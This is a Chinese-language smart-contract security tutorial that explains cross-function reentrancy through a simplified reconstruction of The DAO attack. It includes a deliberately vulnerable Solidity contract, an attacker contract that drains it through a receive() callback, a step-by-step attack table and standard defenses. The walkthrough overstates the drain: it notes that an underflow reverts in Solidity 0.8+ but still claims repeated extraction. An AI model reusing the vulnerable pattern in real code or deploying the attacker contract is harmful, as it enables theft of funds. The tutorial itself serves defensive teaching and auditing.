10分钟智能合约：进阶实战-3.2.2 跨函数重入

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跨函数重入：定义、原理与经典案例

跨函数重入是指攻击者通过一次外部调用，递归地重新进入同一个合约的另一个函数，利用多个函数间共享的状态尚未更新的窗口期，执行非预期的操作。
这一攻击类型的标志性事件是 2016 年的 The DAO 攻击，导致约 360 万 ETH 被分叉回滚，直接促成了以太坊经典（ETC）的诞生。

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1. 核心原理

跨函数重入的根本原因与单函数重入相同：状态更新滞后于外部调用。
区别在于，重入点不再是当前函数本身，而是另一个也依赖同一状态变量的函数。

典型脆弱模式：

• 合约中有 两个或以上 的函数读取/修改同一个状态变量（如 balances[user]）。
• 其中一个函数在状态更新前发起外部调用。
• 攻击者在该外部调用的回调中，调用另一个函数，后者读取尚未更新的状态，执行操作（如再次提款）。

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2. 经典示例：The DAO 攻击简化复现

以下代码高度简化了 DAO 的核心逻辑，仅用于演示跨函数重入原理，并非完整复现。

// 有漏洞的DAO简化版
contract SimpleDAO {
    mapping(address => uint) public balances;

    // 存款
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    // 1️⃣ 拆分提案并提取资金（漏洞函数）
    function splitDAO(address _recipient, uint _amount) public {
        uint userBalance = balances[msg.sender];
        require(userBalance >= _amount, "Insufficient balance");

        // ⚠️ 漏洞：先进行外部调用，后更新状态
        // 假设这里调用了某种奖励分发合约，触发外部回调
        (bool success, ) = _recipient.call{value: _amount}("");
        require(success, "Transfer failed");

        // 状态更新滞后
        balances[msg.sender] -= _amount;
    }

    // 2️⃣ 另一个提款函数（被重入的目标）
    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        balances[msg.sender] -= _amount;
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Transfer failed");
    }
}

攻击者合约：

contract Attacker {
    SimpleDAO public dao;

    constructor(address _dao) {
        dao = SimpleDAO(_dao);
    }

    // 攻击入口：先存款，再触发漏洞
    function attack() public payable {
        dao.deposit{value: 1 ether}();
        dao.splitDAO(address(this), 1 ether);  // 将收款地址设为自己
    }

    // 收到ETH时的回调
    receive() external payable {
        if (address(dao).balance >= 1 ether) {
            dao.withdraw(1 ether);  // ⚠️ 跨函数重入：调用另一个函数 withdraw
        }
    }
}

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3. 攻击过程详解

步骤	操作	状态变化 / 关键点
1	攻击者 attack() 调用 dao.deposit(1 ETH)	balances[attacker] = 1 ETH
2	调用 dao.splitDAO(attacker, 1 ETH)	进入漏洞函数
3	检查 balances[attacker] ≥ 1 → 通过	此时余额仍为 1
4	向攻击者发送 1 ETH	触发攻击者的 receive()
5	攻击者 receive() 内调用 dao.withdraw(1 ETH)	跨函数重入开始
6	withdraw 检查 balances[attacker] ≥ 1	由于 splitDAO 尚未扣款，余额仍为 1 → 通过
7	withdraw 扣减余额 (1 → 0)，并向攻击者发送 1 ETH	攻击者再得 1 ETH
8	withdraw 执行完毕，返回 splitDAO	继续执行原 splitDAO
9	splitDAO 执行 balances[attacker] -= 1	此时余额已是 0，再减 1 → 下溢？在 Solidity 0.8+ 会报错，早期版本会变成 2²⁵⁶-1
10	攻击者可重复循环（视回调控制）	直至合约 ETH 耗尽

攻击效果：攻击者从最初 1 ETH 余额，最终提取出远超其实际份额的资金。

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4. 跨函数重入 vs 其他重入类型

类型	重入目标函数	典型特征	代表案例
单函数重入	同一个函数	函数内部递归调用自身	经典提款漏洞
跨函数重入	同一合约的不同函数	两个函数共享同一状态变量	The DAO 攻击
跨合约重入	另一个合约的函数	合约 A 调用 B，B 回调 A 的函数	多次发生于跨协议交互
只读重入	view 函数	不修改状态，但读取尚未更新的数据，用于操纵其他协议	Acala aUSD 攻击

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5. 防御措施

✅ 核心防御：检查-生效-交互（Checks-Effects-Interactions）

任何可能被外部重入的函数，都必须在外部调用之前完成所有内部状态更新。

function splitDAO(address _recipient, uint _amount) public {
    uint userBalance = balances[msg.sender];
    require(userBalance >= _amount, "Insufficient balance");

    // ✅ 先更新状态
    balances[msg.sender] -= _amount;

    // ✅ 再执行外部调用
    (bool success, ) = _recipient.call{value: _amount}("");
    require(success, "Transfer failed");
}

✅ 重入锁

使用 ReentrancyGuard 修饰符，确保在函数执行期间整个合约不可重入。注意：重入锁是全局性的，可以同时防御单函数和跨函数重入。

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SimpleDAO is ReentrancyGuard {
    function splitDAO(address _recipient, uint _amount) public nonReentrant {
        // 安全
    }
    function withdraw(uint _amount) public nonReentrant {
        // 安全
    }
}

✅ 最小化外部调用

仅在绝对必要时发起外部调用，且尽可能在函数末尾进行。若必须与外部交互，优先使用**“拉取支付”（Pull Payment）**模式，将发送资产的责任转移给用户。

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6. 现代启示与演变

• 重入锁已成为标准：OpenZeppelin 的 ReentrancyGuard 被绝大多数 DeFi 项目采用，显著降低了跨函数重入的风险。
• 只读重入的新挑战：即使不修改状态，重入期间读取不一致的瞬时状态仍可能被用于操纵预言机、价格计算等，需要结合其他约束防御。
• 跨合约重入仍需警惕：当多个合约协同工作时，单一合约的重入锁无法阻止另一合约的回调，需要协议级别的协调设计。

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总结

跨函数重入是重入攻击家族中极具破坏力的成员，其本质依然是状态更新滞后于外部调用，只是重入点被导向了另一个共享状态的函数。
防御跨函数重入并不需要特殊技巧——遵循 CEI 模式并配合重入锁即可一劳永逸地解决问题。然而，理解其与单函数重入的区别，有助于在审计中更敏锐地识别那些**“看似无关，实则共享状态”**的函数组合。